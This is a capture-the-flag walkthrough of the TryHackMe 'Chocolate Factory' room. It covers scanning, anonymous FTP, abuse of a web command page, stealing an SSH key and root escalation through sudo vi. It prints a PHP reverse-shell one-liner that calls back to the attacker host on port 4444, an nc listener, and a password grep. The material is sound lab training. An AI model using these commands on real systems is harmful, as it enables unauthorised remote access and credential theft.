# Chocolate Factory

**Room Link:** <https://tryhackme.com/room/chocolatefactory>

### Initial Scan

**Kali**

<pre><code><strong>nmap -A $VICTIM
</strong></code></pre>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FNA83PqBgYCdnm3LFRJdE%2Fimage.png?alt=media&#x26;token=b67b0047-509a-4a0a-be1a-c2eb656313e6" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FDUGRjd99UEGn5VW4QlFj%2Fimage.png?alt=media&#x26;token=352398e8-40a2-41c5-aeed-00c09c7fac8f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FpOOSi0O3fHor4R12o8k5%2Fimage.png?alt=media&#x26;token=84db3581-7a68-42ff-9317-4ed6afa1f174" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FAoIwKQDfpwnn9dngfl6t%2Fimage.png?alt=media&#x26;token=1a598ef6-3402-4ba4-8f9f-98fe8d83b8f8" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F43nqm8juPxVrMjFlu5AY%2Fimage.png?alt=media&#x26;token=55fe85c8-74b4-4363-bf13-c69bd153ac8e" alt=""><figcaption></figcaption></figure>

### Scan all ports

No other ports found

**Kali**

<pre><code><strong>nmap -sV -sT -O -p 1-65535 $VICTIM
</strong></code></pre>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F6I3iXaH99zGeOmDhmsaI%2Fimage.png?alt=media&#x26;token=1df2783d-3176-4a17-af85-9434596886dd" alt=""><figcaption></figcaption></figure>

### TCP/21 - FTP

**Kali**

```
ftp $VICTIM
Username: anonymous
>binary
>passive
>mget *
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FzUDMjS7PPeWaVXv8bLex%2Fimage.png?alt=media&#x26;token=de5a9f88-a24b-4832-8781-5b48f1a2813c" alt=""><figcaption></figcaption></figure>

### TCP/80 - HTTP

**Kali**

```
gobuster dir -u http://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FLPFJm6IBZASq8bp6Arr2%2Fimage.png?alt=media&#x26;token=7231c574-cb80-4027-92af-48d4c53f0777" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FPHb9bbXZLhQtVQsJtgRv%2Fimage.png?alt=media&#x26;token=6901bf0b-9629-46dd-a5f8-a6ae31a38c0d" alt=""><figcaption></figcaption></figure>

We can run commands here and we see the key\_rev\_key file

![](https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FNrUXhHQDhOzTXo2wz2qB%2Fimage.png?alt=media\&token=a771910a-87ec-4bd5-a297-0cf7aadd2c3b)

We go there by the url and we can download it

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FFAxvL4wev1CPeJ7O0pLE%2Fimage.png?alt=media&#x26;token=9303d310-37c8-42a6-ab46-c3959c626cec" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FvV5X5JLebRr2qVCPuDpx%2Fimage.png?alt=media&#x26;token=c72354cf-6aab-4b6f-a94f-12211bb37303" alt=""><figcaption></figcaption></figure>

**Kali**

```
strings key_rev_key
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fwr1j8LIl59CPAjDutEeJ%2Fimage.png?alt=media&#x26;token=85378c99-b3de-4b39-bfa1-7ef938dd64fc" alt=""><figcaption></figcaption></figure>

### Web Shell

**Web**

```
php -r '$sock=fsockopen("$KALI",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FgfmC5i2hZVY3vtogVpKt%2Fimage.png?alt=media&#x26;token=0447a648-42c5-449b-8cca-5ca28705d7da" alt=""><figcaption></figcaption></figure>

**Kali**

```
nc -lvp 4444
```

Get autocomplete

```
python -c 'import pty; pty.spawn("/bin/bash")'
ctrl + Z
stty raw -echo;fg
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FP7w7vtcUs1wWgKp544C0%2Fimage.png?alt=media&#x26;token=beecc466-e8cb-4b91-84b7-a6f2bdd25143" alt=""><figcaption></figcaption></figure>

**Victim**

```
cd /var/www/html/
grep password *
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FAb7IqkcG9qqVuJyX5LxA%2Fimage.png?alt=media&#x26;token=26e7b167-f976-4356-a053-3e0966970e59" alt=""><figcaption></figcaption></figure>

### Shell

I was not able to su into charlie with the password, the credentials did work for the web login but it just brought me to the command page.

**Victim**

```
cd /home/charlie/
cat teleport
```

I copied the teleport private key to kali

**Kali**

```
subl teleport 
chmod 700 teleport
ssh -i teleport charlie@$VICTIM  
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FJhvLS2wMkDypc1VZUEun%2Fimage.png?alt=media&#x26;token=bdf593e0-5543-42a1-b244-a51fdae0b292" alt=""><figcaption></figcaption></figure>

### Privilege Escalation

**Exploit Link:** <https://gtfobins.github.io/gtfobins/vi/>

Charlie can run vi with no passwd so I just followed the link above to become root

**Victim**

```
sudo -l
sudo vi -c ':!/bin/sh' /dev/null
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FJyEqew98AK6FaP59AP3X%2Fimage.png?alt=media&#x26;token=01d08a1e-c377-425a-98ba-c13018b6065a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FjUSaj1daW3VlZxGF02HN%2Fimage.png?alt=media&#x26;token=0335d91e-695b-42f3-9156-d03ca52dc83d" alt=""><figcaption></figcaption></figure>
